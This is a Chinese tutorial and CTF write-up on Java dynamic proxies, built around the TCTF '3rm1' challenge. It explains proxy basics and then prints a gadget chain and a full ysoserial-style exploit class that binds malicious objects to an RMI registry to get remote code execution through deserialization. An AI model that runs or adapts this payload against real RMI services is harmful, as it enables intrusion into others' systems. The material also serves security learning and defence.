从TCTF的3rm1学习java动态代理
字数 1180 2025-08-26 22:11:51
Java动态代理与反序列化漏洞利用深入解析
一、Java代理模式基础
1.1 代理模式概述
代理模式是Java设计模式中的一种,其特征是:
- 代理类与委托类实现相同的接口
- 代理类负责预处理消息、过滤消息、转发消息给委托类及事后处理
- 代理类对象与委托类对象关联,代理类不真正实现服务,而是通过调用委托类对象的方法提供服务
1.2 静态代理实现
静态代理需要三个组件:
- 公共接口
- 具体实现类
- 代理类(持有具体类实例)
示例代码结构:
// 公共接口
public interface Event {
void SubmitWork();
}
// 具体实现类
public class Student implements Event {
String name;
public Student(String n) { this.name = n; }
@Override
public void SubmitWork() {
System.out.println(this.name + "提交作业");
}
}
// 代理类
public class StudentInnovation implements Event {
Student student;
int count = 0;
public StudentInnovation(Student stu) {
if(stu.getClass() == Student.class) {
this.student = (Student)stu;
}
}
@Override
public void SubmitWork() {
this.student.SubmitWork();
this.count += 1;
System.out.println("已收作业数量为" + this.count);
}
}
静态代理缺点:
- 需要为每个被代理类编写代理类
- 接口变更时需修改所有相关类
1.3 动态代理实现
动态代理利用反射机制在运行时创建代理类,核心类是InvocationHandler。
动态代理实现示例:
public class ProxyHandler implements InvocationHandler {
private Object object;
int count = 0;
public ProxyHandler(Object object) {
this.object = object;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
method.invoke(object, args);
this.count += 1;
System.out.println("已收作业数量为" + this.count);
return null;
}
}
// 使用方式
Student s1 = new Student("张三");
InvocationHandler handler = new ProxyHandler(s1);
Event proxyHello = (Event)Proxy.newProxyInstance(
s1.getClass().getClassLoader(),
s1.getClass().getInterfaces(),
handler
);
proxyHello.SubmitWork();
二、动态代理的安全利用
2.1 攻击场景构建
组件说明:
- 公共接口:
public interface Teacher {
Object getObject();
void attack();
}
- 正常实现类:
public class A implements Teacher {
Object object;
@Override public Object getObject() { return null; }
@Override public void attack() { System.out.println("attack"); }
}
- 后门类:
public class Backdoor implements Teacher {
@Override public Object getObject() { return null; }
@Override public void attack() {
try { Runtime.getRuntime().exec("calc"); }
catch(IOException e) { e.printStackTrace(); }
}
}
- 可利用代理类:
public class myProxy implements InvocationHandler {
private Object object;
public myProxy(Object o) { this.object = o; }
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return this.object;
}
}
- 目标代理类:
public class ProxyHandler implements InvocationHandler {
private A object;
public ProxyHandler(Object object) { this.object = (A)object; }
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("method is " + method.getName());
method.invoke(this.object.getObject(), args);
return null;
}
}
2.2 攻击链构造思路
攻击目标是调用Backdoor.attack()方法,关键点:
- 控制
ProxyHandler.invoke()中的method为attack - 使
this.object.getObject()返回Backdoor实例
利用代码:
public class main {
public static void main(String[] args) throws Exception {
A t = new A();
Backdoor backdoor = new Backdoor();
// 创建后门代理
InvocationHandler backdoorhandler = new myProxy(backdoor);
Teacher proxyInstance = (Teacher)Proxy.newProxyInstance(
backdoor.getClass().getClassLoader(),
new Class[]{Teacher.class},
backdoorhandler
);
// 修改目标代理的object字段
InvocationHandler handler = new ProxyHandler(t);
Field field = handler.getClass().getDeclaredField("object");
field.setAccessible(true);
field.set(handler, proxyInstance);
// 触发攻击
Teacher proxyHello = (Teacher)Proxy.newProxyInstance(
t.getClass().getClassLoader(),
t.getClass().getInterfaces(),
handler
);
proxyHello.attack();
}
}
三、TCTF 3rm1题目分析
3.1 题目背景
- 题目提供RMI服务
- 服务端绑定固定,无法直接进行JNDI注入
- 目标:在RMI服务端绑定恶意对象,使客户端反序列化时触发RCE
3.2 解题思路
-
绕过JDK高版本限制:
- 使用
RemoteObjectInvocationHandler替代AnnotationInvocationHandler - 利用自实现接口绑定到注册中心
- 使用
-
反序列化链构造:
- 参考Spring1链,但需适配题目环境
- 最终链调用顺序:
Gadget.readObject() → UserInter(Proxy).getGirlFriend() → RemoteObjectInvocationHandler.invoke() → UnicastRef.invoke() → StreamRemoteCall#executeCall() → UserInter.getGirlFriend() → Templates(Proxy).newTransformer() → MyInvocationHandler.invoke() → FactoryInter(Proxy).getObject() → RemoteObjectInvocationHandler.invoke() → UnicastRef.invoke() → StreamRemoteCall#executeCall() → FactoryInter.getObject() → Method.invoke() → TemplatesImpl.newTransformer() → TemplatesImpl.getTransletInstance() → TemplatesImpl.defineTransletClasses() → TemplatesImpl.TransletClassLoader.defineClass() → 恶意代码执行
3.3 完整攻击代码
package ysoserial.payloads;
import com.ctf.threermi.*;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
class UserImpl implements UserInter {
Registry registry;
{ try { registry = LocateRegistry.getRegistry(7777); }
catch(RemoteException e) { e.printStackTrace(); } }
@Override public String sayHello(String paramString) { return null; }
@Override public Friend getGirlFriend() throws RemoteException {
FactoryInter factoryInter = null;
try {
final Class<?>[] allIfaces = (Class<?>[])Array.newInstance(Class.class, 2);
allIfaces[0] = FactoryInter.class;
allIfaces[1] = Remote.class;
factoryInter = (FactoryInter)Proxy.newProxyInstance(
FactoryInter.class.getClassLoader(),
allIfaces,
Proxy.getInvocationHandler(registry.lookup("factory"))
);
} catch(Exception e) { e.printStackTrace(); }
final MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
try { Reflections.setFieldValue(myInvocationHandler, "object", factoryInter); }
catch(Exception e) { e.printStackTrace(); }
final Friend friend = Gadgets.createProxy(
myInvocationHandler, Friend.class, Templates.class
);
return friend;
}
}
class FactoryImpl implements FactoryInter {
String cmd;
@Override public Object getObject() throws Exception {
return Gadgets.createTemplatesImpl(this.cmd);
}
}
public class TCTF3rmiExp extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
int evilServerPort = 7777;
Registry registry = LocateRegistry.createRegistry(evilServerPort);
UserImpl user1 = new UserImpl();
registry.bind("UserImpl", UnicastRemoteObject.exportObject(user1, evilServerPort));
FactoryImpl factoryImpl = new FactoryImpl();
Reflections.setFieldValue(factoryImpl, "cmd", command);
registry.bind("factory", UnicastRemoteObject.exportObject(factoryImpl, evilServerPort));
InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));
Field field = ref.getClass().getSuperclass().getDeclaredField("ref");
field.setAccessible(true);
UnicastRef unicastRef = (UnicastRef)field.get(ref);
LiveRef liveRef = (LiveRef)Reflections.getFieldValue(unicastRef, "ref");
TCPEndpoint tcpEndpoint = (TCPEndpoint)Reflections.getFieldValue(liveRef, "ep");
Reflections.setFieldValue(tcpEndpoint, "host", "10.122.207.125");
RemoteObjectInvocationHandler remoteObjectInvocationHandler =
new RemoteObjectInvocationHandler((RemoteRef)Reflections.getFieldValue(ref, "ref"));
final UserInter user = (UserInter)Proxy.newProxyInstance(
UserInter.class.getClassLoader(),
new Class[]{UserInter.class, Remote.class},
remoteObjectInvocationHandler
);
Gadget gadget = new Gadget();
Reflections.setFieldValue(gadget, "user", user);
Reflections.setFieldValue(gadget, "mName", "newTransformer");
return gadget;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(TCTF3rmiExp.class, args);
}
}
四、关键知识点总结
-
动态代理利用要点:
- 控制
InvocationHandler.invoke()的返回值 - 通过多层代理构造调用链
- 利用反射修改关键字段值
- 控制
-
RMI攻击关键:
- 绑定恶意对象到RMI注册中心
- 控制
RemoteObjectInvocationHandler的ref字段 - 利用
StreamRemoteCall#executeCall()的反序列化点
-
高版本JDK绕过:
- 避免使用
AnnotationInvocationHandler - 使用
RemoteObjectInvocationHandler替代 - 通过自实现接口控制返回对象
- 避免使用
-
反序列化链构造:
- 结合
TemplatesImpl执行字节码 - 通过代理控制方法调用流程
- 利用RMI协议特性传递恶意对象
- 结合
五、防御建议
- 升级JDK到最新版本
- 限制反序列化操作,使用白名单机制
- 对RMI服务进行网络隔离
- 使用安全管理器限制敏感操作
- 监控和过滤可疑的序列化数据